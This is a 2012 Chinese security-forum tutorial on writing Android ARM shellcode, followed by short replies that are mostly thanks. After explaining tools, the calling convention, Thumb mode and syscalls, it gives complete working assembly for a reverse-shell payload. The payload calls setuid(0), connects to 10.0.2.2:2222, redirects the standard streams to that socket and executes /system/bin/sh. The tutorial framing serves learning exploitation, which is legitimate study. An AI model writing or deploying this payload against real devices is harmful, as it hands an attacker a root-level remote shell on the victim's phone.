首页
社区
课程
招聘
[原创]Android系统shellcode编写
发表于: 2012-9-10 15:07 45213

[原创]Android系统shellcode编写

2012-9-10 15:07
45213

    科普稿一篇,高手请自动路过
    随着Android手机的普及,Android系统安全日益受人关注。漏洞攻防是安全的一大课题,其中自然少不了shellcode的编写。本文将以提出问题、解决问题的方式教你如何编写Android系统shellcode。由于篇幅限制,本文将不对ARM指令集进行介绍,建议没有基础的读者先参考相关手册。
    1.基础部分
    使用什么工具?
    GNU ARM汇编器as和GNU ARM连接器ld是编写Android系统shellcode必不可少的两个工具。Android NDK提供了Cygwin、Mac和Linux版本的as和ld,为了方便在Windows环境下开发,笔者在附件中提供了Windows版本的as和ld。
    as和ld的使用方法很简单,假设sc.s是我们编写好的shellcode源文件,先使用as sc.s -o sc.o命令将sc.s汇编成目标文件sc.o,再使用ld sc.o -o sc将sc.o连接成可执行文件sc。文中用到的为数不多的as汇编伪指令将在相关注释中说明,具体请参考“Using as”手册。
    除了as和ld,我们还要用IDA作为反汇编器,IDA的使用想必不用多做介绍。用IDA记录下sc中shellcode的头部和尾部,就可以用十六进制编辑器从sc中提取shellcode了。
    函数参数如何传递?
    函数参数从左到右依次存入R0~R3,如果参数个数大于4个,则剩余参数从右到左依次入栈,返回值存入R0。
    如何给shellcode瘦身?
    ARM处理器支持两种指令集:ARM指令集和Thumb指令集。ARM指令集指令长度为32位,Thumb指令集指令长度为16位。Thumb指令集的限制更多,比如立即数大小只能在0到0xFF范围内。
    为了给shellcode瘦身,我们更倾向于使用Thumb指令集编写shellcode。ARM处理器总是从ARM指令集开始执行,所以我们的shellcode头部是一段ARM指令集程序,负责切换到Thumb指令集。
    如何自定位?
    自定位是编写shellcode的关键技术之一,也就是所谓GetPC。在x86环境下,通常有CALL GetPC、FSTENV GetPC、SEH GetPC三种方式。而在ARM环境下,事情就变得简单很多,因为指令指针PC可以直接访问。
    ARM汇编还提供了ADR伪指令,汇编器会将其转换为相对PC寻址的指令,所以我们不用担心自定位问题。值得注意的是,LDR指令通过绝对地址寻址,当基地址改变时根据重定位段信息进行重定位。用LDR指令寻址一个符号在shellcode编写中是错误的,这点和x86类似。
    如何定位函数?
    定位函数是编写shellcode的关键技术之二。在Windows环境下,通常通过PEB定位kernel32基地址,然后遍历kernel32输出表定位API。在Linux环境下,直接系统调用。
    Android系统调用由gensyscalls.py自动生成,以execve.S为例,代码如下:

/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>

    .text @表示代码段
    .type execve, #function @定义符号类型
    .globl execve @导出符号到连接器
    .align 4 @对齐到4字节边界
    .fnstart

execve:
    .save   {r4, r7}
    stmfd   sp!, {r4, r7} @保存r4和r7
    ldr     r7, =__NR_execve @r7存放系统调用号
    swi     #0 @通过调用软中断,切换到特权模式,执行系统调用
    ldmfd   sp!, {r4, r7} @恢复r4和r7
    movs    r0, r0 @设置标志位
    bxpl    lr @非负则返回
    b     __set_syscall_errno @否则跳转到__set_syscall_errno
    .fnend
int __set_syscall_errno(int n)
{
      /* some syscalls, mmap() for example, have valid return
      ** values that are "negative".  Since errno values are not
      ** greater than 131 on Linux, we will just consider 
      ** anything significantly out of range as not-an-error
      */
    if(n > -256) {
      return __set_errno(-n); //设置errno为-n,并返回-1
    } else {
      return n; //返回值不变
    }
}
.globl _start
.align 2
_start: @默认入口点
.code 32 @使用ARM指令集
  adr r0, thumb + 1 @最低位置1表示切换到Thumb指令集
  bx r0
thumb:
.code 16 @使用Thumb指令集
  mov r0, #0
  mov r7, #213
  swi #0 @setuid32(0)
  mov r0, #2 @AF_INET
  mov r1, #1 @SOCK_STREAM
  mov r2, #6 @IPPROTO_TCP
  mov r7, #250
  add r7, #31
  swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  mov r4, r0
  adr r1, addr
  mov r2, #16
  mov r7, #250
  add r7, #33
  swi #0 @connect(sock, addr, 16)
  mov r0, r4
  mov r1, #0 @STDIN_FILENO
  mov r7, #63
  swi #0 @dup2(sock, STDIN_FILENO)
  mov r0, r4
  mov r1, #1 @STDOUT_FILENO
  mov r7, #63
  swi #0 @dup2(sock, STDOUT_FILENO)
  mov r0, r4
  mov r1, #2 @STDERR_FILENO
  mov r7, #63
  swi #0 @dup2(sock, STDERR_FILENO)
  adr r0, systembinsh
  mov r1, #0
  push {r1}
  push {r0} @argv[0]
  mov r1, sp @argv
  mov r2, #0
  mov r7, #11
  swi #0 @execve(filename, argv, NULL)
  mov r0, #0
  mov r7, #1
  swi #0 @exit(0)
addr:
  .short 2 @定义16比特数AF_INET
  .ascii "\x08\xAE" @定义2字节port=2222
  .byte 10, 0, 2, 2 @定义4字节ip=10.0.2.2(模拟器中的本机地址)
systembinsh:
  .asciz "/system/bin/sh" @定义字符串filename

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (39)
雪    币: 1489
活跃值: (1053)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
沙发,学习了。
2012-9-10 15:15
0
雪    币: 27
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
前篇留名 观看LZ大作
2012-9-10 15:22
0
雪    币: 1969
活跃值: (46)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
4
占位学习
2012-9-10 15:37
0
雪    币: 34
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
。。。                        。
2012-9-10 16:20
0
雪    币: 183
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
第一次离hawking这么近
2012-9-10 16:52
0
雪    币: 363
活跃值: (338)
能力值: ( LV15,RANK:310 )
在线值:
发帖
回帖
粉丝
7
占位学习
2012-9-10 21:57
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好帖,学习了
2012-9-11 06:56
0
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
过来站位学习,android下的攻防先驱啊
2012-9-11 09:28
0
雪    币: 227
活跃值: (120)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
10
围观学习
http://packetstormsecurity.org/files/99300/Android-2.0-2.1-2.1.1-WebKit-Use-After-Free.html
2012-9-11 10:06
0
雪    币: 147
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
学习好东东。。。以后有机会 实验下!
2012-9-11 11:06
0
雪    币: 235
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习         。。
2012-9-11 13:43
0
雪    币: 822
活跃值: (380)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
13
学习了,谢谢楼主的分享
2012-9-11 15:12
0
雪    币: 793
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
占位学习中....
2012-9-11 16:32
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
好文必顶。。。。
2012-9-11 20:14
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
16
写得不错,现在安卓的缓冲区溢出漏洞基本看不到了
2012-9-12 08:33
0
雪    币: 72
活跃值: (60)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
17
mark需要学习
2012-9-12 09:41
0
雪    币: 4
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
太强大了,我还看不懂
2012-9-12 15:08
0
雪    币: 234
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
顶,学习了。
2012-9-12 17:09
0
雪    币: 1681
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf
20
谢谢分享!!!ANDRIOD  希望能更多的这方面的
2012-9-12 20:19
0
雪    币: 3
活跃值: (81)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
标记学习。。。
2012-9-12 20:48
0
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
牛人啊。膜拜学习
2012-9-13 18:00
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
看看,学习学习,感谢分享
2012-9-13 18:21
0
雪    币: 381
活跃值: (140)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
24
似乎常用的ROOT手机的那个工具,就是典型的shellcode
2012-9-14 00:11
0
雪    币: 2246
活跃值: (46)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
好强大,学习了
2012-9-17 08:47
0
游客
登录 | 注册 方可回帖
返回
//